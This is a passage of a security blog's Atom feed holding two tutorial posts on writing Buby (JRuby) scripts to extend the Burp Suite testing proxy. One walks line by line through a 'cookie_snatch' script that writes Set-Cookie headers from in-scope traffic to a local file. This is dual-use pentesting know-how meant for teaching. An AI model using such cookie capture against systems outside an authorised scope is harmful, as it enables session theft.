class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;14. &amp;nbsp; &amp;nbsp;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;15. &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;16. &amp;nbsp; meth_arry.each do |meth|&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;17. &amp;nbsp; &amp;nbsp; prnt("#{meth}", "#{issue.send("#{meth}")}")&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;18. &amp;nbsp; end&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;19. &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;20. &amp;nbsp; hm_prnt('http_messages', issue.http_messages)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;21.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;22. end&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;b&gt;Line 1&lt;/b&gt;&amp;nbsp;- Defines the method ($burp.evt_scan_issue) and instantiates the "issue" object.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;b&gt;Lines 2-14&lt;/b&gt; &amp;nbsp;- Creates an Array called "meth_array" which consists of methods associated with the issue object instantiated on line 1.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Lines 16-18 &lt;span class="Apple-style-span" style="font-weight: normal;"&gt;- Iterates thru the meth_arry we created on line 2 picking out each method and then sends the method name and the method itself to prnt.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Line 20&lt;span class="Apple-style-span" style="font-weight: normal;"&gt; - The http_message method attached to the issue object isn't in the meth_arry because it can't be called directly and converted to a string. This is because http_message is a an array of classes. Each class has it's own methods. So, we made a special prnt method for it called hm_prnt.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Well that is all for Part 3 of this series. Part 4 will cover some of the other methods listed in the first part of this post. If you have any feedback please provide it so that the series can be improved upon.&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="Apple-style-span" style="font-weight: normal;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Happy Hacking,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;~cktricky&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5918442440155881869?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5918442440155881869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5918442440155881869' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5918442440155881869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5918442440155881869'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-3.html' title='Buby Script Basics Part 3'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-qG4Epu0HaBo/Tcfs_L3JKqI/AAAAAAAAASk/spWS3c5XYpY/s72-c/evt_http_message_1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5253671387404362717</id><published>2011-05-08T17:33:00.000-04:00</published><updated>2011-06-24T15:27:59.828-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 2</title><content type='html'>In part 1 of this series, we've discussed a few options via the command line. In this part of the series, we will focus on actually writing a script. If you remember, to run the script you can type:&lt;br /&gt;&lt;br /&gt;jruby -S buby -B burp.jar -r myscript.rb &lt;br /&gt;&lt;br /&gt;**(myscript.rb is your buby script)**&lt;br /&gt;&lt;br /&gt;I've provided some sample scripts &lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts"&gt; Here &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lets cover one of the most used methods (in my opinion/experience) exposed by buby called "evt_proxy_message". I'd like to cover some of the objects exposed by this method and to best accomplish this task we will step through the cookie_snatch.rb script located &lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts/blob/master/cookie_snatch.rb"&gt;Here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;So here is the code from "cookie_snatch.rb"&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;def $burp.evt_proxy_message(*param)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;msg_ref, is_req, rhost, rport, is_https, http_meth, url, resourceType, status, req_content_type, message, action = param&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;file = ('cookiez.txt')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;prefix = is_https ? "https://" : "http://"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;rurl = "#{prefix}://#{rhost}:#{rport}"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;if is_req == false&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;spmsg = message.split("\n\n")&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;short_msg = "#{spmsg[0]}"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mitem = short_msg.match(/^Set-Cookie:.+$/)&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;if $burp.in_scope?(rurl) &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if !mitem.nil?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;File.open(file, "a") {|f| f.write("#{mitem}")}&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;end&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;end&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;end &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;super(*param)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On the second line you see that we convert *param to 12 separate objects. Here is a brief explanation of each:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;msg_ref&lt;/div&gt;&lt;div&gt;=====&amp;nbsp;&lt;/div&gt;&lt;div&gt;This is the request/response number. It is nothing more than a tracking number.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;is_req&lt;/div&gt;&lt;div&gt;====&lt;/div&gt;&lt;div&gt;This is a boolean value, returns either true or false. If it is a request, this returns true, else, false.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;rhost&lt;/div&gt;&lt;div&gt;===&lt;/div&gt;&lt;div&gt;This is your target's hostname ONLY.&amp;nbsp;&lt;/div&gt;&lt;div&gt;It does NOT include the prefix (http/s), rport (80/443), or path (/directory/something.php).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;rport&lt;/div&gt;&lt;div&gt;===&lt;/div&gt;&lt;div&gt;This is the remote port value (80/443/etc)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;is_https&lt;/div&gt;&lt;div&gt;======&lt;/div&gt;&lt;div&gt;Returns true when https and false when http.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;http_meth&lt;/div&gt;&lt;div&gt;=======&lt;/div&gt;&lt;div&gt;This is the method (GET/POST/etc)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;url&lt;/div&gt;&lt;div&gt;==&lt;/div&gt;&lt;div&gt;This is the path portion of a URL. Not the full URL itself.&lt;/div&gt;&lt;div&gt;Example: If the target was http://www.target.com/mydir/test.aspx then url would be&amp;nbsp;&lt;/div&gt;&lt;div&gt;/mydir/test.aspx&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;resourceType&lt;/div&gt;&lt;div&gt;==========&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The filetype of the requested resource, or nil if the resource has no filetype&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;status&lt;/div&gt;&lt;div&gt;====&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The HTTP status code returned by the server. This value is nil for request messages.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;req_content_type&lt;/div&gt;&lt;div&gt;============&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;String value, content-type header returned by the server. (nil for requests)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;message&lt;/div&gt;&lt;div&gt;======&lt;/div&gt;&lt;div&gt;String value, the entire message, regardless of request/response, contains headers and body.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;action&lt;/div&gt;&lt;div&gt;====&lt;/div&gt;&lt;div&gt;There are 4 types of actions&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: 13px;"&gt;ACTION_FOLLOW_RULES (0, this is the default)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;ACTION_DO_INTERCEPT (1, direction to intercept a msg)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;ACTION_DONT_INTERCEPT (2, don't intercept the msg)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;ACTION_DROP (3, drops the in/outbound msg)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;Example of using action (folks seem to have some confusion at times regarding this):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;if rhost == "www.example.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;  action[0] = 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Bitstream Vera Sans Mono', Courier, monospace; font-size: 12px; line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The above code logic is, if the rhost value is www.example.com then don't intercept. The full code can be found in dont_intercept.rb in the Buby-Scripts repo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Back to the code:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;b&gt;Lines 3-5&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 3 is assigning cookiez.txt to 'file'.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 4 is evaluating the boolean value behind is_https?. If it is true then prefix = https:// and if false, http://.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 5 is creating a rurl object which consists of a string concatenation of prefix, rhost and rport.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;b&gt;Lines 6-9&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 6 is evaluating if is_req equals false (meaning it is a response). So unless it is a response, the code following it won't be run.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 7 spmsg (split message) is the message string split by two newlines. This separates the headers from the body. Array item 0 of spmsg (spmsg[0]) is going to be the headers and spmsg[1] will be the body.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 8 short_msg is assigned to spgmsg[0], converted to a string.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 9 assigns mitem to a the Set-Cookie portion of the response header.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;b&gt;Lines 10-12&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 10 uses the method in_scope?, which takes the full URL. This is the reason for creating the rurl object on line 5. If the response is from a site that is in scope, we evaluate the next 2 lines of code.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 11 basically if mitem (the Set-Cookie key, value) isn't nil, then we evaluate line 12.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Ln 12 Open the file (file is created on line 3 and it is cookiez.txt), and write to it. Because we have assigned "a" instead of "w", the cookies will be appended versus overwritten.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;The rest of the code terminates "if" statements and sends the params up to the super class's version of evt_proxy_msg. This super(*params) can be nice when you'd like to modify data prior to it's arrival to Burp. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Okay, well hopefully this was a good start for those interested in extending Burp's capabilities. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;Part 3 in this series will cover other useful methods exposed by Buby. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;~Happy Hacking&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;cktricky&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5253671387404362717?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5253671387404362717/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5253671387404362717' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5253671387404362717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5253671387404362717'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-2.html' title='Buby Script Basics Part 2'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 